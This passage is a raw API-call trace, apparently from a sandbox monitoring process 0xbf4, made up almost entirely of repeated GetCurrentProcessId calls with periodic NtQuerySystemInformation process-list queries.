GetCurrentProcessId () returned 0xbf4 [0175.419] GetCurrentProcessId () returned 0xbf4 [0175.419] GetCurrentProcessId () returned 0xbf4 [0175.419] GetCurrentProcessId () returned 0xbf4 [0175.420] GetCurrentProcessId () returned 0xbf4 [0175.420] GetCurrentProcessId () returned 0xbf4 [0175.420] GetCurrentProcessId () returned 0xbf4 [0175.420] GetCurrentProcessId () returned 0xbf4 [0175.420] GetCurrentProcessId () returned 0xbf4 [0175.420] GetCurrentProcessId () returned 0xbf4 [0175.420] GetCurrentProcessId () returned 0xbf4 [0175.421] GetCurrentProcessId () returned 0xbf4 [0175.421] GetCurrentProcessId () returned 0xbf4 [0175.422] GetCurrentProcessId () returned 0xbf4 [0175.422] GetCurrentProcessId () returned 0xbf4 [0175.422] GetCurrentProcessId () returned 0xbf4 [0175.422] GetCurrentProcessId () returned 0xbf4 [0176.013] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1c5e0) returned 0x0 [0176.044] GetCurrentProcessId () returned 0xbf4 [0176.044] GetCurrentProcessId () returned 0xbf4 [0176.045] GetCurrentProcessId () returned 0xbf4 [0176.045] GetCurrentProcessId () returned 0xbf4 [0176.045] GetCurrentProcessId () returned 0xbf4 [0176.045] GetCurrentProcessId () returned 0xbf4 [0176.045] GetCurrentProcessId () returned 0xbf4 [0176.045] GetCurrentProcessId () returned 0xbf4 [0176.045] GetCurrentProcessId () returned 0xbf4 [0176.045] GetCurrentProcessId () returned 0xbf4 [0176.045] GetCurrentProcessId () returned 0xbf4 [0176.045] GetCurrentProcessId () returned 0xbf4 [0176.045] GetCurrentProcessId () returned 0xbf4 [0176.045] GetCurrentProcessId () returned 0xbf4 [0176.045] GetCurrentProcessId () returned 0xbf4 [0176.045] GetCurrentProcessId () returned 0xbf4 [0176.045] GetCurrentProcessId () returned 0xbf4 [0176.045] GetCurrentProcessId () returned 0xbf4 [0176.045] GetCurrentProcessId () returned 0xbf4 [0176.045] GetCurrentProcessId () returned 0xbf4 [0176.045] GetCurrentProcessId () returned 0xbf4 [0176.045] GetCurrentProcessId () returned 0xbf4 [0176.045] GetCurrentProcessId () returned 0xbf4 [0176.045] GetCurrentProcessId () returned 0xbf4 [0176.045] GetCurrentProcessId () returned 0xbf4 [0176.046] GetCurrentProcessId () returned 0xbf4 [0176.046] GetCurrentProcessId () returned 0xbf4 [0176.046] GetCurrentProcessId () returned 0xbf4 [0176.046] GetCurrentProcessId () returned 0xbf4 [0176.046] GetCurrentProcessId () returned 0xbf4 [0176.046] GetCurrentProcessId () returned 0xbf4 [0176.046] GetCurrentProcessId () returned 0xbf4 [0176.046] GetCurrentProcessId () returned 0xbf4 [0176.046] GetCurrentProcessId () returned 0xbf4 [0176.046] GetCurrentProcessId () returned 0xbf4 [0176.046] GetCurrentProcessId () returned 0xbf4 [0176.046] GetCurrentProcessId () returned 0xbf4 [0176.046] GetCurrentProcessId () returned 0xbf4 [0176.046] GetCurrentProcessId () returned 0xbf4 [0176.046] GetCurrentProcessId () returned 0xbf4 [0176.046] GetCurrentProcessId () returned 0xbf4 [0176.046] GetCurrentProcessId () returned 0xbf4 [0176.046] GetCurrentProcessId () returned 0xbf4 [0176.046] GetCurrentProcessId () returned 0xbf4 [0176.046] GetCurrentProcessId () returned 0xbf4 [0176.046] GetCurrentProcessId () returned 0xbf4 [0176.046] GetCurrentProcessId () returned 0xbf4 [0176.046] GetCurrentProcessId () returned 0xbf4 [0176.047] GetCurrentProcessId () returned 0xbf4 [0176.047] GetCurrentProcessId () returned 0xbf4 [0176.047] GetCurrentProcessId () returned 0xbf4 [0176.047] GetCurrentProcessId () returned 0xbf4 [0176.047] GetCurrentProcessId () returned 0xbf4 [0176.047] GetCurrentProcessId () returned 0xbf4 [0176.047] GetCurrentProcessId () returned 0xbf4 [0176.047] GetCurrentProcessId () returned 0xbf4 [0176.047] GetCurrentProcessId () returned 0xbf4 [0176.047] GetCurrentProcessId () returned 0xbf4 [0176.047] GetCurrentProcessId () returned 0xbf4 [0176.047] GetCurrentProcessId () returned 0xbf4 [0176.047] GetCurrentProcessId () returned 0xbf4 [0176.047] GetCurrentProcessId () returned 0xbf4 [0176.047] GetCurrentProcessId () returned 0xbf4 [0176.047] GetCurrentProcessId () returned 0xbf4 [0176.047] GetCurrentProcessId () returned 0xbf4 [0176.047] GetCurrentProcessId () returned 0xbf4 [0176.047] GetCurrentProcessId () returned 0xbf4 [0176.047] GetCurrentProcessId () returned 0xbf4 [0176.047] GetCurrentProcessId () returned 0xbf4 [0176.047] GetCurrentProcessId () returned 0xbf4 [0176.047] GetCurrentProcessId () returned 0xbf4 [0176.047] GetCurrentProcessId () returned 0xbf4 [0176.047] GetCurrentProcessId () returned 0xbf4 [0176.047] GetCurrentProcessId () returned 0xbf4 [0176.047] GetCurrentProcessId () returned 0xbf4 [0176.049] GetCurrentProcessId () returned 0xbf4 [0176.049] GetCurrentProcessId () returned 0xbf4 [0176.049] GetCurrentProcessId () returned 0xbf4 [0176.049] GetCurrentProcessId () returned 0xbf4 [0176.049] GetCurrentProcessId () returned 0xbf4 [0176.049] GetCurrentProcessId () returned 0xbf4 [0176.049] GetCurrentProcessId () returned 0xbf4 [0176.049] GetCurrentProcessId () returned 0xbf4 [0176.049] GetCurrentProcessId () returned 0xbf4 [0176.049] GetCurrentProcessId () returned 0xbf4 [0176.049] GetCurrentProcessId () returned 0xbf4 [0176.049] GetCurrentProcessId () returned 0xbf4 [0176.049] GetCurrentProcessId () returned 0xbf4 [0176.049] GetCurrentProcessId () returned 0xbf4 [0176.049] GetCurrentProcessId () returned 0xbf4 [0176.049] GetCurrentProcessId () returned 0xbf4 [0176.049] GetCurrentProcessId () returned 0xbf4 [0176.049] GetCurrentProcessId () returned 0xbf4 [0176.049] GetCurrentProcessId () returned 0xbf4 [0176.049] GetCurrentProcessId () returned 0xbf4 [0176.049] GetCurrentProcessId () returned 0xbf4 [0176.049] GetCurrentProcessId () returned 0xbf4 [0176.050] GetCurrentProcessId () returned 0xbf4 [0176.050] GetCurrentProcessId () returned 0xbf4 [0176.050] GetCurrentProcessId () returned 0xbf4 [0176.050] GetCurrentProcessId () returned 0xbf4 [0176.050] GetCurrentProcessId () returned 0xbf4 [0176.050] GetCurrentProcessId () returned 0xbf4 [0176.050] GetCurrentProcessId () returned 0xbf4 [0176.050] GetCurrentProcessId () returned 0xbf4 [0176.050] GetCurrentProcessId () returned 0xbf4 [0176.050] GetCurrentProcessId () returned 0xbf4 [0176.622] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1c590) returned 0x0 [0176.634] GetCurrentProcessId () returned 0xbf4 [0176.634] GetCurrentProcessId () returned 0xbf4 [0176.634] GetCurrentProcessId () returned 0xbf4 [0176.634] GetCurrentProcessId () returned 0xbf4 [0176.634] GetCurrentProcessId () returned 0xbf4 [0176.635] GetCurrentProcessId () returned 0xbf4 [0176.635] GetCurrentProcessId () returned 0xbf4 [0176.635] GetCurrentProcessId () returned 0xbf4 [0176.635] GetCurrentProcessId () returned 0xbf4 [0176.635] GetCurrentProcessId () returned 0xbf4 [0176.635] GetCurrentProcessId () returned 0xbf4 [0176.635] GetCurrentProcessId () returned 0xbf4 [0176.635] GetCurrentProcessId () returned 0xbf4 [0176.635] GetCurrentProcessId () returned 0xbf4 [0176.635] GetCurrentProcessId () returned 0xbf4 [0176.635] GetCurrentProcessId () returned 0xbf4 [0176.635] GetCurrentProcessId () returned 0xbf4 [0176.635] GetCurrentProcessId () returned 0xbf4 [0176.635] GetCurrentProcessId () returned 0xbf4 [0176.635] GetCurrentProcessId () returned 0xbf4 [0176.635] GetCurrentProcessId () returned 0xbf4 [0176.635] GetCurrentProcessId () returned 0xbf4 [0176.635] GetCurrentProcessId () returned 0xbf4 [0176.635] GetCurrentProcessId () returned 0xbf4 [0176.635] GetCurrentProcessId () returned 0xbf4 [0176.635] GetCurrentProcessId () returned 0xbf4 [0176.635] GetCurrentProcessId () returned 0xbf4 [0176.635] GetCurrentProcessId () returned 0xbf4 [0176.635] GetCurrentProcessId () returned 0xbf4 [0176.635] GetCurrentProcessId () returned 0xbf4 [0176.635] GetCurrentProcessId () returned 0xbf4 [0176.635] GetCurrentProcessId () returned 0xbf4 [0176.636] GetCurrentProcessId () returned 0xbf4 [0176.636] GetCurrentProcessId () returned 0xbf4 [0176.636] GetCurrentProcessId () returned 0xbf4 [0176.636] GetCurrentProcessId () returned 0xbf4 [0176.636] GetCurrentProcessId () returned 0xbf4 [0176.636] GetCurrentProcessId () returned 0xbf4 [0176.636] GetCurrentProcessId () returned 0xbf4 [0176.636] GetCurrentProcessId () returned 0xbf4 [0176.636] GetCurrentProcessId () returned 0xbf4 [0176.636] GetCurrentProcessId () returned 0xbf4 [0176.636] GetCurrentProcessId () returned 0xbf4 [0176.636] GetCurrentProcessId () returned 0xbf4 [0176.636] GetCurrentProcessId () returned 0xbf4 [0176.636] GetCurrentProcessId () returned 0xbf4 [0176.636] GetCurrentProcessId () returned 0xbf4 [0176.636] GetCurrentProcessId () returned 0xbf4 [0176.636] GetCurrentProcessId () returned 0xbf4 [0176.636] GetCurrentProcessId () returned 0xbf4 [0176.636] GetCurrentProcessId () returned 0xbf4 [0176.636] GetCurrentProcessId () returned 0xbf4 [0176.636] GetCurrentProcessId () returned 0xbf4 [0176.637] GetCurrentProcessId () returned 0xbf4 [0176.637] GetCurrentProcessId () returned 0xbf4 [0176.637] GetCurrentProcessId () returned 0xbf4 [0176.637] GetCurrentProcessId () returned 0xbf4 [0176.637] GetCurrentProcessId () returned 0xbf4 [0176.637] GetCurrentProcessId () returned 0xbf4 [0176.637] GetCurrentProcessId () returned 0xbf4 [0176.637] GetCurrentProcessId () returned 0xbf4 [0176.637] GetCurrentProcessId () returned 0xbf4 [0176.637] GetCurrentProcessId () returned 0xbf4 [0176.637] GetCurrentProcessId () returned 0xbf4 [0176.637] GetCurrentProcessId () returned 0xbf4 [0176.637] GetCurrentProcessId () returned 0xbf4 [0176.637] GetCurrentProcessId () returned 0xbf4 [0176.637] GetCurrentProcessId () returned 0xbf4 [0176.637] GetCurrentProcessId () returned 0xbf4 [0176.637] GetCurrentProcessId () returned 0xbf4 [0176.637] GetCurrentProcessId () returned 0xbf4 [0176.637] GetCurrentProcessId () returned 0xbf4 [0176.637] GetCurrentProcessId () returned 0xbf4 [0176.637] GetCurrentProcessId () returned 0xbf4 [0176.637] GetCurrentProcessId () returned 0xbf4 [0176.637] GetCurrentProcessId () returned 0xbf4 [0176.637] GetCurrentProcessId () returned 0xbf4 [0176.637] GetCurrentProcessId () returned 0xbf4 [0176.637] GetCurrentProcessId () returned 0xbf4 [0176.637] GetCurrentProcessId () returned 0xbf4 [0176.637] GetCurrentProcessId () returned 0xbf4 [0176.637] GetCurrentProcessId () returned 0xbf4 [0176.637] GetCurrentProcessId () returned 0xbf4 [0176.637] GetCurrentProcessId () returned 0xbf4 [0176.638] GetCurrentProcessId () returned 0xbf4 [0176.638] GetCurrentProcessId () returned 0xbf4 [0176.638] GetCurrentProcessId () returned 0xbf4 [0176.638] GetCurrentProcessId () returned 0xbf4 [0176.638] GetCurrentProcessId () returned 0xbf4 [0176.638] GetCurrentProcessId () returned 0xbf4 [0176.638] GetCurrentProcessId () returned 0xbf4 [0176.638] GetCurrentProcessId () returned 0xbf4 [0176.638] GetCurrentProcessId () returned 0xbf4 [0176.638] GetCurrentProcessId () returned 0xbf4 [0176.638] GetCurrentProcessId () returned 0xbf4 [0176.638] GetCurrentProcessId () returned 0xbf4 [0176.638] GetCurrentProcessId () returned 0xbf4 [0176.638] GetCurrentProcessId () returned 0xbf4 [0176.638] GetCurrentProcessId () returned 0xbf4 [0176.638] GetCurrentProcessId () returned 0xbf4 [0176.638] GetCurrentProcessId () returned 0xbf4 [0176.638] GetCurrentProcessId () returned 0xbf4 [0176.638] GetCurrentProcessId () returned 0xbf4 [0176.638] GetCurrentProcessId () returned 0xbf4 [0176.638] GetCurrentProcessId () returned 0xbf4 [0176.638] GetCurrentProcessId () returned 0xbf4 [0176.638] GetCurrentProcessId () returned 0xbf4 [0177.238] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1c6d0) returned 0x0 [0177.253] GetCurrentProcessId () returned 0xbf4 [0177.254] GetCurrentProcessId () returned 0xbf4 [0177.254] GetCurrentProcessId () returned 0xbf4 [0177.254] GetCurrentProcessId () returned 0xbf4 [0177.254] GetCurrentProcessId () returned 0xbf4 [0177.254] GetCurrentProcessId () returned 0xbf4 [0177.254] GetCurrentProcessId () returned 0xbf4 [0177.254] GetCurrentProcessId () returned 0xbf4 [0177.254] GetCurrentProcessId () returned 0xbf4 [0177.254] GetCurrentProcessId () returned 0xbf4 [0177.254] GetCurrentProcessId () returned 0xbf4 [0177.254] GetCurrentProcessId () returned 0xbf4 [0177.254] GetCurrentProcessId () returned 0xbf4 [0177.254] GetCurrentProcessId () returned 0xbf4 [0177.254] GetCurrentProcessId () returned 0xbf4 [0177.254] GetCurrentProcessId () returned 0xbf4 [0177.254] GetCurrentProcessId () returned 0xbf4 [0177.254] GetCurrentProcessId () returned 0xbf4 [0177.254] GetCurrentProcessId () returned 0xbf4 [0177.254] GetCurrentProcessId () returned 0xbf4 [0177.254] GetCurrentProcessId () returned 0xbf4 [0177.254] GetCurrentProcessId () returned 0xbf4 [0177.254] GetCurrentProcessId () returned 0xbf4 [0177.254] GetCurrentProcessId () returned 0xbf4 [0177.254] GetCurrentProcessId () returned 0xbf4 [0177.254] GetCurrentProcessId () returned 0xbf4 [0177.255] GetCurrentProcessId () returned 0xbf4 [0177.255] GetCurrentProcessId () returned 0xbf4 [0177.255] GetCurrentProcessId () returned 0xbf4 [0177.255] GetCurrentProcessId () returned 0xbf4 [0177.255] GetCurrentProcessId () returned 0xbf4 [0177.255] GetCurrentProcessId () returned 0xbf4 [0177.255] GetCurrentProcessId () returned 0xbf4 [0177.255] GetCurrentProcessId () returned 0xbf4 [0177.255] GetCurrentProcessId () returned 0xbf4 [0177.255] GetCurrentProcessId () returned 0xbf4 [0177.256] GetCurrentProcessId () returned 0xbf4 [0177.256] GetCurrentProcessId () returned 0xbf4 [0177.256] GetCurrentProcessId () returned 0xbf4 [0177.256] GetCurrentProcessId () returned 0xbf4 [0177.256] GetCurrentProcessId () returned 0xbf4 [0177.256] GetCurrentProcessId () returned 0xbf4 [0177.256] GetCurrentProcessId () returned 0xbf4 [0177.256] GetCurrentProcessId () returned 0xbf4 [0177.256] GetCurrentProcessId () returned 0xbf4 [0177.256] GetCurrentProcessId () returned 0xbf4 [0177.256] GetCurrentProcessId () returned 0xbf4 [0177.257] GetCurrentProcessId () returned 0xbf4 [0177.257] GetCurrentProcessId () returned 0xbf4 [0177.257] GetCurrentProcessId () returned 0xbf4 [0177.257] GetCurrentProcessId () returned 0xbf4 [0177.257] GetCurrentProcessId () returned 0xbf4 [0177.257] GetCurrentProcessId () returned 0xbf4 [0177.257] GetCurrentProcessId () returned 0xbf4 [0177.257] GetCurrentProcessId () returned 0xbf4 [0177.257] GetCurrentProcessId () returned 0xbf4 [0177.257] GetCurrentProcessId () returned 0xbf4 [0177.257] GetCurrentProcessId () returned 0xbf4 [0177.257] GetCurrentProcessId () returned 0xbf4 [0177.257] GetCurrentProcessId () returned 0xbf4 [0177.257] GetCurrentProcessId () returned 0xbf4 [0177.257] GetCurrentProcessId () returned 0xbf4 [0177.257] GetCurrentProcessId () returned 0xbf4 [0177.257] GetCurrentProcessId () returned 0xbf4 [0177.257] GetCurrentProcessId () returned 0xbf4 [0177.257] GetCurrentProcessId () returned 0xbf4 [0177.257] GetCurrentProcessId () returned 0xbf4 [0177.257] GetCurrentProcessId () returned 0xbf4 [0177.257] GetCurrentProcessId () returned 0xbf4 [0177.257] GetCurrentProcessId () returned 0xbf4 [0177.257] GetCurrentProcessId () returned 0xbf4 [0177.257] GetCurrentProcessId () returned 0xbf4 [0177.258] GetCurrentProcessId () returned 0xbf4 [0177.258] GetCurrentProcessId () returned 0xbf4 [0177.258] GetCurrentProcessId () returned 0xbf4 [0177.258] GetCurrentProcessId () returned 0xbf4 [0177.258] GetCurrentProcessId () returned 0xbf4 [0177.258] GetCurrentProcessId () returned 0xbf4 [0177.258] GetCurrentProcessId () returned 0xbf4 [0177.258] GetCurrentProcessId () returned 0xbf4 [0177.258] GetCurrentProcessId () returned 0xbf4 [0177.258] GetCurrentProcessId () returned 0xbf4 [0177.258] GetCurrentProcessId () returned 0xbf4 [0177.258] GetCurrentProcessId () returned 0xbf4 [0177.258] GetCurrentProcessId () returned 0xbf4 [0177.258] GetCurrentProcessId () returned 0xbf4 [0177.258] GetCurrentProcessId () returned 0xbf4 [0177.258] GetCurrentProcessId () returned 0xbf4 [0177.258] GetCurrentProcessId () returned 0xbf4 [0177.258] GetCurrentProcessId () returned 0xbf4 [0177.258] GetCurrentProcessId () returned 0xbf4 [0177.258] GetCurrentProcessId () returned 0xbf4 [0177.258] GetCurrentProcessId () returned 0xbf4 [0177.258] GetCurrentProcessId () returned 0xbf4 [0177.258] GetCurrentProcessId () returned 0xbf4 [0177.258] GetCurrentProcessId () returned 0xbf4 [0177.259] GetCurrentProcessId () returned 0xbf4 [0177.259] GetCurrentProcessId () returned 0xbf4 [0177.259] GetCurrentProcessId () returned 0xbf4 [0177.259] GetCurrentProcessId () returned 0xbf4 [0177.259] GetCurrentProcessId () returned 0xbf4 [0177.259] GetCurrentProcessId () returned 0xbf4 [0177.259] GetCurrentProcessId () returned 0xbf4 [0177.259] GetCurrentProcessId () returned 0xbf4 [0177.259] GetCurrentProcessId () returned 0xbf4 [0177.259] GetCurrentProcessId () returned 0xbf4 [0177.259] GetCurrentProcessId () returned 0xbf4 [0177.844] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1c770) returned 0x0 [0177.852] GetCurrentProcessId () returned 0xbf4 [0177.852] GetCurrentProcessId () returned 0xbf4 [0177.852] GetCurrentProcessId () returned 0xbf4 [0177.852] GetCurrentProcessId () returned 0xbf4 [0177.852] GetCurrentProcessId () returned 0xbf4 [0177.852] GetCurrentProcessId () returned 0xbf4 [0177.852] GetCurrentProcessId () returned 0xbf4 [0177.852] GetCurrentProcessId () returned 0xbf4 [0177.852] GetCurrentProcessId () returned 0xbf4 [0177.852] GetCurrentProcessId () returned 0xbf4 [0177.852] GetCurrentProcessId () returned 0xbf4 [0177.852] GetCurrentProcessId () returned 0xbf4 [0177.853] GetCurrentProcessId () returned 0xbf4 [0177.853] GetCurrentProcessId () returned 0xbf4 [0177.853] GetCurrentProcessId () returned 0xbf4 [0177.853] GetCurrentProcessId () returned 0xbf4 [0177.853] GetCurrentProcessId () returned 0xbf4 [0177.853] GetCurrentProcessId () returned 0xbf4 [0177.853] GetCurrentProcessId () returned 0xbf4 [0177.853] GetCurrentProcessId () returned 0xbf4 [0177.853] GetCurrentProcessId () returned 0xbf4 [0177.853] GetCurrentProcessId () returned 0xbf4 [0177.853] GetCurrentProcessId () returned 0xbf4 [0177.853] GetCurrentProcessId () returned 0xbf4 [0177.853] GetCurrentProcessId () returned 0xbf4 [0177.853] GetCurrentProcessId () returned 0xbf4 [0177.853] GetCurrentProcessId () returned 0xbf4 [0177.853] GetCurrentProcessId () returned 0xbf4 [0177.853] GetCurrentProcessId () returned 0xbf4 [0177.853] GetCurrentProcessId () returned 0xbf4 [0177.853] GetCurrentProcessId () returned 0xbf4 [0177.853] GetCurrentProcessId () returned 0xbf4 [0177.853] GetCurrentProcessId () returned 0xbf4 [0177.853] GetCurrentProcessId () returned 0xbf4 [0177.853] GetCurrentProcessId () returned 0xbf4 [0177.853] GetCurrentProcessId () returned 0xbf4 [0177.853] GetCurrentProcessId () returned 0xbf4 [0177.853] GetCurrentProcessId () returned 0xbf4 [0177.853] GetCurrentProcessId () returned 0xbf4 [0177.853] GetCurrentProcessId () returned 0xbf4 [0177.853] GetCurrentProcessId () returned 0xbf4 [0177.853] GetCurrentProcessId () returned 0xbf4 [0177.853] GetCurrentProcessId () returned 0xbf4 [0177.853] GetCurrentProcessId () returned 0xbf4 [0177.853] GetCurrentProcessId () returned 0xbf4 [0177.853] GetCurrentProcessId () returned 0xbf4 [0177.854] GetCurrentProcessId () returned 0xbf4 [0177.854] GetCurrentProcessId () returned 0xbf4 [0177.854] GetCurrentProcessId () returned 0xbf4 [0177.854] GetCurrentProcessId () returned 0xbf4 [0177.854] GetCurrentProcessId () returned 0xbf4 [0177.854] GetCurrentProcessId () returned 0xbf4 [0177.854] GetCurrentProcessId () returned 0xbf4 [0177.854] GetCurrentProcessId () returned 0xbf4 [0177.854] GetCurrentProcessId () returned 0xbf4 [0177.854] GetCurrentProcessId () returned 0xbf4 [0177.854] GetCurrentProcessId () returned 0xbf4 [0177.854] GetCurrentProcessId () returned 0xbf4 [0177.854] GetCurrentProcessId () returned 0xbf4 [0177.854] GetCurrentProcessId () returned 0xbf4 [0177.854] GetCurrentProcessId () returned 0xbf4 [0177.854] GetCurrentProcessId () returned 0xbf4 [0177.854] GetCurrentProcessId () returned 0xbf4 [0177.854] GetCurrentProcessId () returned 0xbf4 [0177.854] GetCurrentProcessId () returned 0xbf4 [0177.854] GetCurrentProcessId () returned 0xbf4 [0177.854] GetCurrentProcessId () returned 0xbf4 [0177.854] GetCurrentProcessId () returned 0xbf4 [0177.854] GetCurrentProcessId () returned 0xbf4 [0177.854] GetCurrentProcessId () returned 0xbf4 [0177.854] GetCurrentProcessId () returned 0xbf4 [0177.854] GetCurrentProcessId () returned 0xbf4 [0177.854] GetCurrentProcessId () returned 0xbf4 [0177.854] GetCurrentProcessId () returned 0xbf4 [0177.854] GetCurrentProcessId () returned 0xbf4 [0177.854] GetCurrentProcessId () returned 0xbf4 [0177.854] GetCurrentProcessId () returned 0xbf4 [0177.855] GetCurrentProcessId () returned 0xbf4 [0177.855] GetCurrentProcessId () returned 0xbf4 [0177.855] GetCurrentProcessId () returned 0xbf4 [0177.855] GetCurrentProcessId () returned 0xbf4 [0177.855] GetCurrentProcessId () returned 0xbf4 [0177.855] GetCurrentProcessId () returned 0xbf4 [0177.855] GetCurrentProcessId () returned 0xbf4 [0177.855] GetCurrentProcessId () returned 0xbf4 [0177.855] GetCurrentProcessId () returned 0xbf4 [0177.855] GetCurrentProcessId () returned 0xbf4 [0177.855] GetCurrentProcessId () returned 0xbf4 [0178.394] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1c770) returned 0x0 [0178.409] GetCurrentProcessId () returned 0xbf4 [0178.409] GetCurrentProcessId () returned 0xbf4 [0178.409] GetCurrentProcessId () returned 0xbf4 [0178.409] GetCurrentProcessId () returned 0xbf4 [0178.409] GetCurrentProcessId () returned 0xbf4 [0178.409] GetCurrentProcessId () returned 0xbf4 [0178.409] GetCurrentProcessId () returned 0xbf4 [0178.409] GetCurrentProcessId () returned 0xbf4 [0178.409] GetCurrentProcessId () returned 0xbf4 [0178.409] GetCurrentProcessId () returned 0xbf4 [0178.409] GetCurrentProcessId () returned 0xbf4 [0178.409] GetCurrentProcessId () returned 0xbf4 [0178.409] GetCurrentProcessId () returned 0xbf4 [0178.409] GetCurrentProcessId () returned 0xbf4 [0178.409] GetCurrentProcessId () returned 0xbf4 [0178.409] GetCurrentProcessId () returned 0xbf4 [0178.409] GetCurrentProcessId () returned 0xbf4 [0178.409] GetCurrentProcessId () returned 0xbf4 [0178.409] GetCurrentProcessId () returned 0xbf4 [0178.409] GetCurrentProcessId () returned 0xbf4 [0178.409] GetCurrentProcessId () returned 0xbf4 [0178.409] GetCurrentProcessId () returned 0xbf4 [0178.409] GetCurrentProcessId () returned 0xbf4 [0178.409] GetCurrentProcessId () returned 0xbf4 [0178.410] GetCurrentProcessId () returned 0xbf4 [0178.410] GetCurrentProcessId () returned 0xbf4 [0178.410] GetCurrentProcessId () returned 0xbf4 [0178.939] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1c770) returned 0x0 [0178.948] GetCurrentProcessId () returned 0xbf4 [0178.948] GetCurrentProcessId () returned 0xbf4 [0178.948] GetCurrentProcessId () returned 0xbf4 [0178.948] GetCurrentProcessId () returned 0xbf4 [0178.948] GetCurrentProcessId () returned 0xbf4 [0178.948] GetCurrentProcessId () returned 0xbf4 [0178.948] GetCurrentProcessId () returned 0xbf4 [0178.948] GetCurrentProcessId () returned 0xbf4 [0178.948] GetCurrentProcessId () returned 0xbf4 [0178.948] GetCurrentProcessId () returned 0xbf4 [0178.948] GetCurrentProcessId () returned 0xbf4 [0178.948] GetCurrentProcessId () returned 0xbf4 [0178.948] GetCurrentProcessId () returned 0xbf4 [0178.948] GetCurrentProcessId () returned 0xbf4 [0178.949] GetCurrentProcessId () returned 0xbf4 [0178.949] GetCurrentProcessId () returned 0xbf4 [0178.949] GetCurrentProcessId () returned 0xbf4 [0178.949] GetCurrentProcessId () returned 0xbf4 [0178.949] GetCurrentProcessId () returned 0xbf4 [0178.949] GetCurrentProcessId () returned 0xbf4 [0178.949] GetCurrentProcessId () returned 0xbf4 [0178.949] GetCurrentProcessId () returned 0xbf4 [0178.949] GetCurrentProcessId () returned 0xbf4 [0178.949] GetCurrentProcessId () returned 0xbf4 [0178.949] GetCurrentProcessId () returned 0xbf4 [0178.949] GetCurrentProcessId () returned 0xbf4 [0178.949] GetCurrentProcessId () returned 0xbf4 [0178.949] GetCurrentProcessId () returned 0xbf4 [0178.949] GetCurrentProcessId () returned 0xbf4 [0178.949] GetCurrentProcessId () returned 0xbf4 [0178.949] GetCurrentProcessId () returned 0xbf4 [0178.949] GetCurrentProcessId () returned 0xbf4 [0178.949] GetCurrentProcessId () returned 0xbf4 [0178.949] GetCurrentProcessId () returned 0xbf4 [0178.949] GetCurrentProcessId () returned 0xbf4 [0178.949] GetCurrentProcessId () returned 0xbf4 [0178.949] GetCurrentProcessId () returned 0xbf4 [0178.949] GetCurrentProcessId () returned 0xbf4 [0178.949] GetCurrentProcessId () returned 0xbf4 [0178.949] GetCurrentProcessId () returned 0xbf4 [0178.949] GetCurrentProcessId () returned 0xbf4 [0178.949] GetCurrentProcessId () returned 0xbf4 [0178.949] GetCurrentProcessId () returned 0xbf4 [0178.949] GetCurrentProcessId () returned 0xbf4 [0178.950] GetCurrentProcessId () returned 0xbf4 [0178.950] GetCurrentProcessId () returned 0xbf4 [0178.950] GetCurrentProcessId () returned 0xbf4 [0178.950] GetCurrentProcessId () returned 0xbf4 [0178.950] GetCurrentProcessId () returned 0xbf4 [0178.950] GetCurrentProcessId () returned 0xbf4 [0178.950] GetCurrentProcessId () returned 0xbf4 [0178.950] GetCurrentProcessId () returned 0xbf4 [0178.950] GetCurrentProcessId () returned 0xbf4 [0178.950] GetCurrentProcessId () returned 0xbf4 [0178.950] GetCurrentProcessId () returned 0xbf4 [0178.950] GetCurrentProcessId () returned 0xbf4 [0178.950] GetCurrentProcessId () returned 0xbf4 [0178.950] GetCurrentProcessId () returned 0xbf4 [0178.950] GetCurrentProcessId () returned 0xbf4 [0178.963] GetCurrentProcessId () returned 0xbf4 [0178.963] GetCurrentProcessId () returned 0xbf4 [0178.963] GetCurrentProcessId () returned 0xbf4 [0178.963] GetCurrentProcessId () returned 0xbf4 [0178.963] GetCurrentProcessId () returned 0xbf4 [0178.963] GetCurrentProcessId () returned 0xbf4 [0179.484] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1c9a0) returned 0x0 [0179.497] GetCurrentProcessId () returned 0xbf4 [0179.497] GetCurrentProcessId () returned 0xbf4 [0179.497] GetCurrentProcessId () returned 0xbf4 [0179.497] GetCurrentProcessId () returned 0xbf4 [0179.497] GetCurrentProcessId () returned 0xbf4 [0179.497] GetCurrentProcessId () returned 0xbf4 [0179.497] GetCurrentProcessId () returned 0xbf4 [0179.497] GetCurrentProcessId () returned 0xbf4 [0179.497] GetCurrentProcessId () returned 0xbf4 [0179.497] GetCurrentProcessId () returned 0xbf4 [0179.497] GetCurrentProcessId () returned 0xbf4 [0179.497] GetCurrentProcessId () returned 0xbf4 [0179.498] GetCurrentProcessId () returned 0xbf4 [0179.498] GetCurrentProcessId () returned 0xbf4 [0179.498] GetCurrentProcessId () returned 0xbf4 [0179.498] GetCurrentProcessId () returned 0xbf4 [0179.498] GetCurrentProcessId () returned 0xbf4 [0179.498] GetCurrentProcessId () returned 0xbf4 [0179.498] GetCurrentProcessId () returned 0xbf4 [0179.498] GetCurrentProcessId () returned 0xbf4 [0179.498] GetCurrentProcessId () returned 0xbf4 [0179.498] GetCurrentProcessId () returned 0xbf4 [0179.498] GetCurrentProcessId () returned 0xbf4 [0179.498] GetCurrentProcessId () returned 0xbf4 [0179.498] GetCurrentProcessId () returned 0xbf4 [0179.498] GetCurrentProcessId () returned 0xbf4 [0179.498] GetCurrentProcessId () returned 0xbf4 [0179.498] GetCurrentProcessId () 